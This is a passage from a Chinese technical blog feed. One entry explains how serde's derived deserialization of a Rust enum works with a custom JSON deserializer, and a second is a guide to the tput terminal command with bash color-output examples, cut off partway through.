&#x2F;&gt;&lt;code&gt;    where&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    	__D: _serde::Deserializer&amp;lt;&#x27;de&amp;gt;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        const VARIANTS: &amp;amp;&#x27;static [&amp;amp;&#x27;static str] = &amp;amp;[&quot;Set&quot;, &quot;Get&quot;, &quot;Rm&quot;, &quot;Quit&quot;];&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        _serde::Deserializer::deserialize_enum(&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            __deserializer,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            &quot;Command&quot;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            VARIANTS,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            __Visitor {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        marker: _serde::export::PhantomData::,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                lifetime: _serde::export::PhantomData,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            },&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        )&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;deserialize_enum&lt;&#x2F;code&gt;是怎么实现的呢？json格式的&lt;code&gt;deserializer&lt;&#x2F;code&gt;被提示接下来的数据是为enum准备的之后，立刻明白，一个enum，经过合法序列化后，只能由&lt;code&gt;&quot;&lt;&#x2F;code&gt;或者&lt;code&gt;{&lt;&#x2F;code&gt;开头，所以分两种情况，围绕自己的input数据，为&lt;code&gt;visitor&lt;&#x2F;code&gt;的创建提供基础材料。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;fn deserialize_enum&amp;lt;V&amp;gt;(&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        self,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        _name: &amp;amp;&#x27;static str,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        _variants: &amp;amp;&#x27;static [&amp;amp;&#x27;static str],&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        visitor: V,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  ) -&amp;gt; Result&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    where&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        V: Visitor&amp;lt;&#x27;de&amp;gt;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        if self.peek_char()? == &#x27;&quot;&#x27; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            &#x2F;&#x2F; Visit a unit variant.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            visitor.visit_enum(self.parse_string()?.into_deserializer())&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        } else if self.next_char()? == &#x27;{&#x27; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            &#x2F;&#x2F; Visit a newtype variant, tuple variant, or struct variant.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            let value = visitor.visit_enum(Enum::new(self))?;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            &#x2F;&#x2F; Parse the matching close brace.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            if self.next_char()? == &#x27;}&#x27; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                Ok(value)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            } else {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                Err(Error::ExpectedMapEnd)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        } else {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            Err(Error::ExpectedEnum)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;提供什么样的材料呢？这要看&lt;code&gt;deserializer&lt;&#x2F;code&gt;具体选用&lt;code&gt;visitor&lt;&#x2F;code&gt;的哪个方法。这里使用的&lt;code&gt;visit_enum&lt;&#x2F;code&gt;方法(当然&lt;code&gt;__Visitor&lt;&#x2F;code&gt;也只实现了&lt;code&gt;visit_enum&lt;&#x2F;code&gt;方法)，所以按照其签名，应该为其提供一个实现&lt;code&gt;EnumAccess&lt;&#x2F;code&gt; trait的东西。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;self.parse_string()?.into_deserializer()&lt;&#x2F;code&gt;提供的流程是，分析出&lt;code&gt;str&lt;&#x2F;code&gt;，经过&lt;code&gt;into_deserializer()&lt;&#x2F;code&gt;变为&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;serde&#x2F;1.0.104&#x2F;serde&#x2F;de&#x2F;value&#x2F;struct.StrDeserializer.html&quot;&gt;StrDeserializer&lt;&#x2F;a&gt;，而一个&lt;code&gt;StrDeserializer&lt;&#x2F;code&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;serde&#x2F;1.0.104&#x2F;src&#x2F;serde&#x2F;de&#x2F;value.rs.html#405-418&quot;&gt;默认实现&lt;&#x2F;a&gt;了&lt;code&gt;EnumAccess&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Enum::new(self)&lt;&#x2F;code&gt;提供的流程就很直接，自定义了一个实现&lt;code&gt;EnumAccess&lt;&#x2F;code&gt;的结构叫做&lt;code&gt;Enum&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以到这里，上一节分析的”工具人套工具人”的骨架就分析完了。复习一下， 总体过程是，&lt;code&gt;Command::deserialize&lt;&#x2F;code&gt;通过调用&lt;code&gt;deserialize_enum&lt;&#x2F;code&gt;方法提示&lt;code&gt;deserializer&lt;&#x2F;code&gt;，接下来的序列化数据是为enum准备的，并且为&lt;code&gt;deserializer&lt;&#x2F;code&gt;提供一个实现了&lt;code&gt;visit_enum&lt;&#x2F;code&gt;(接受&lt;code&gt;EnumAccess-thing&lt;&#x2F;code&gt;，返还&lt;code&gt;Command&lt;&#x2F;code&gt;)的&lt;code&gt;visitor&lt;&#x2F;code&gt;。于是&lt;code&gt;deserializer&lt;&#x2F;code&gt;根据json的规则知道，接下的序列化数据应该会是&lt;code&gt;&quot;&lt;&#x2F;code&gt;或者&lt;code&gt;{&lt;&#x2F;code&gt;开头，分为两种情况，制作出一个&lt;code&gt;EnumAccess-thing&lt;&#x2F;code&gt;，然后交给&lt;code&gt;visit_enum&lt;&#x2F;code&gt;去构建&lt;code&gt;Command&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;这时，我们更详细地去看这个过程，&lt;code&gt;visit_enum&lt;&#x2F;code&gt;是怎么做的，&lt;code&gt;EnumAccess-thing&lt;&#x2F;code&gt;又是如何与它配合的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;visit-enumli-1&quot;&gt;visit_enum里&lt;&#x2F;h2&gt;
&lt;p&gt;为了方便叙述，把&lt;code&gt;visit_enum&lt;&#x2F;code&gt;再抄到这里&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;fn visit_enum&amp;lt;__A&amp;gt;(self, __data: __A) -&amp;gt; _serde::export::Result&amp;lt;Self::Value, __A::Error&amp;gt;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;where&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;	__A: _serde::EnumAccess&amp;lt;&#x27;de&amp;gt;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;{&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    match match _serde::EnumAccess::variant(__data) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        _serde::export::Ok(__val) =&amp;gt; __val,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        _serde::export::Err(__err) =&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            return _serde::export::Err(__err);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    } {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        (__Field::__field0, __variant) =&amp;gt; {...},&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        (__Field::__field1, __variant) =&amp;gt; {...},&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        (__Field::__field2, __variant) =&amp;gt; {...},&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        (__Field::__field3, __variant) =&amp;gt; {...},&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;同时也附上&lt;code&gt;EnumAccess&lt;&#x2F;code&gt; trait的定义&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;&#x2F;&#x2F; https:&#x2F;&#x2F;docs.serde.rs&#x2F;serde&#x2F;de&#x2F;trait.EnumAccess.html&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;pub trait EnumAccess&amp;lt;&#x27;de&amp;gt;: Sized {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    type Error: Error;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    type Variant: VariantAccess&amp;lt;&#x27;de, Error = Self::Error&amp;gt;;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  fn variant_seed(&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       self,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        seed: V&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    ) -&amp;gt; Result&amp;lt;(V::Value, Self::Variant), Self::Error&amp;gt;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    where&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    V: DeserializeSeed&amp;lt;&#x27;de&amp;gt;;  fn variant(self) -&amp;gt; Result&amp;lt;(V, Self::Variant), Self::Error&amp;gt;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    where&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        V: Deserialize&amp;lt;&#x27;de&amp;gt;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        &#x2F;&#x2F; 默认实现&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        self.variant_seed(PhantomData)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;一开始，对&lt;code&gt;EnumAccess-thing&lt;&#x2F;code&gt;调用&lt;code&gt;variant&lt;&#x2F;code&gt;方法，它返回一个tuple，从后续match分支可以推断，第一项是之前定义的&lt;code&gt;__Field&lt;&#x2F;code&gt;，第二项，从&lt;code&gt;variant&lt;&#x2F;code&gt;方法的签名可知，是&lt;code&gt;VariantAccess-thing&lt;&#x2F;code&gt;。自然地，通过匹配&lt;code&gt;__Field&lt;&#x2F;code&gt;，就可以知道数据本身是Set、Get、Rm、Quit中的哪一个，然后继续利用产生的&lt;code&gt;VariantAccess-thing&lt;&#x2F;code&gt;做继续的处理……但是，等一等，这是怎么办到的？什么时候利用数据反序列化出了一个&lt;code&gt;__Field&lt;&#x2F;code&gt;？&lt;code&gt;__Field::deserialize&lt;&#x2F;code&gt;在哪儿被偷偷摸摸地调用的了？&lt;&#x2F;p&gt;
&lt;p&gt;要解决这个疑问，自然要看&lt;code&gt;variant&lt;&#x2F;code&gt;的内部，所以自然要看具体的&lt;code&gt;EnumAccess&lt;&#x2F;code&gt;实现&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;&#x2F;&#x2F; de.rs&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;struct Enum&amp;lt;&#x27;a, &#x27;de: &#x27;a&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    de: &amp;amp;&#x27;a mut Deserializer&amp;lt;&#x27;de&amp;gt;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}impl&amp;lt;&#x27;a, &#x27;de&amp;gt; Enum&amp;lt;&#x27;a, &#x27;de&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fn new(de: &amp;amp;&#x27;a mut Deserializer&amp;lt;&#x27;de&amp;gt;) -&amp;gt; Self {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        Enum { de }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}impl&amp;lt;&#x27;de, &#x27;a&amp;gt; EnumAccess&amp;lt;&#x27;de&amp;gt; for Enum&amp;lt;&#x27;a, &#x27;de&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    type Error = Error;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  type Variant = Self;  fn variant_seed(self, seed: V) -&amp;gt; Result&amp;lt;(V::Value, Self::Variant)&amp;gt;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    where&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        V: DeserializeSeed&amp;lt;&#x27;de&amp;gt;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let val = seed.deserialize(&amp;amp;mut *self.de)?;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        if self.de.next_char()? == &#x27;:&#x27; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            Ok((val, self))&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        } else {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            Err(Error::ExpectedMapColon)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;我的第一反应，自然是找&lt;code&gt;__Field::deserialize&lt;&#x2F;code&gt;方法。但是只找到一个&lt;code&gt;seed.deserialize&lt;&#x2F;code&gt;，那么不负责任地一猜，这个seed应该是&lt;code&gt;__Field&lt;&#x2F;code&gt;的一个实例，但是被当场打脸，因为由&lt;code&gt;variant&lt;&#x2F;code&gt;传入的，又是个&lt;code&gt;PhantomData&lt;&#x2F;code&gt;，所以这个东西是铁定绕不过了？还有那个&lt;code&gt;variant_seed&lt;&#x2F;code&gt;方法中要求的&lt;code&gt;DeserializeSeed&lt;&#x2F;code&gt;又是什么东西？这个过程到底怎么回事？&lt;&#x2F;p&gt;
&lt;p&gt;为了控制一下篇幅，这些疑问下一篇继续解答。&lt;&#x2F;p&gt;
&lt;p&gt;到这里，我们其实已经收获颇丰，知道了visitor的存在，也大概清楚了三种角色的交互逻辑。后续的问题，实际上是反序列化一些集合类型时的所需要的细节。继续之前，先休息一下。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>tput 命令行使用说明</title>
        <published>2024-07-17T00:00:00+00:00</published>
        <updated>2024-07-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/tput-命令行使用说明/"/>
        <id>https://vercel.juzhong.asia/obsidian/tput-命令行使用说明/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/tput-命令行使用说明/">&lt;h1 id=&quot;tput-ming-ling-xing-shi-yong-shuo-ming&quot;&gt;tput 命令行使用说明&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;什么是 tput？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;tput 命令将通过 terminfo 数据库对您的终端会话进行初始化和操作。通过使用 tput，您可以更改几项终端功能，如移动或更改光标、更改文本属性，以及清除终端屏幕的特定区域。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;什么是 terminfo 数据库？&lt;&#x2F;strong&gt;
UNIX 系统上的 terminfo 数据库用于定义终端和打印机的属性及功能，包括各设备（例如，终端和打印机）的行数和列数以及要发送至该设备的文本的属性。UNIX 中的几个常用程序都依赖 terminfo 数据库提供这些属性以及许多其他内容，其中包括 vi 和 emacs 编辑器以及 curses 和 man 程序。&lt;&#x2F;p&gt;
&lt;p&gt;**命令行使用说明：&lt;&#x2F;p&gt;
&lt;p&gt;1.文本属性**&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;tput Color Capabilities:

tput setab [0-7] – Set a background color using ANSI escape
tput setb [0-7] – Set a background color
tput setaf [0-7] – Set a foreground color using ANSI escape
tput setf [0-7] – Set a foreground color

Color Code for tput:

0 – Black
1 – Red
2 – Green
3 – Yellow
4 – Blue
5 – Magenta
6 – Cyan
7 – White

tput Text Mode Capabilities:

tput bold – Set bold mode
tput dim – turn on half-bright mode
tput smul – begin underline mode
tput rmul – exit underline mode
tput rev – Turn on reverse mode
tput smso – Enter standout mode (bold on rxvt)
tput rmso – Exit standout mode
tput sgr0 – Turn off all attributes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;例子：使输出的字符串有颜色，底色，加粗&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash

printf $(tput setaf 2; tput bold)&amp;#x27;color show\n\n&amp;#x27;$(tput sgr0)

for((i=0; i&amp;lt;=7; i++)); do
	echo $(tput setaf $i)&amp;quot;show me the money&amp;quot;$(tput sgr0)
done

printf &amp;#x27;\n&amp;#x27;$(tput setaf 2; tput setab 0; tput bold)&amp;#x27;background color show&amp;#x27;$(tput sgr0)&amp;#x27;\n\n&amp;#x27;

for((i=0,j=7; i&amp;lt;=7; i++,j--)); do
	echo $(tput setaf $i; tput setab $j; tput bold)&amp;quot;show me the money&amp;quot;$(tput sgr0)
done

exit 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;tput-usage&#x2F;tput-color-output-demo.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;输出格式控制函数：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash

# $1 str       print string
# $2 color     0-7 设置颜色
# $3 bgcolor   0-7 设置背景颜色
# $4 bold      0-1 设置粗体
# $5 underline 0-1 设置下划线

function format_output(){
	str=$1
	color=$2
	bgcolor=$3
	bold=$4
	underline=$5
	normal=$(tput sgr0)

	case &amp;quot;$color&amp;quot; in
		0|1|2|3|4|5|6|7)
			setcolor=$(tput setaf $color;) ;;
		*)
			setcolor=&amp;quot;&amp;quot; ;;
	esac

	case &amp;quot;$bgcolor&amp;quot; in
		0|1|2|3|4|5|6|7)
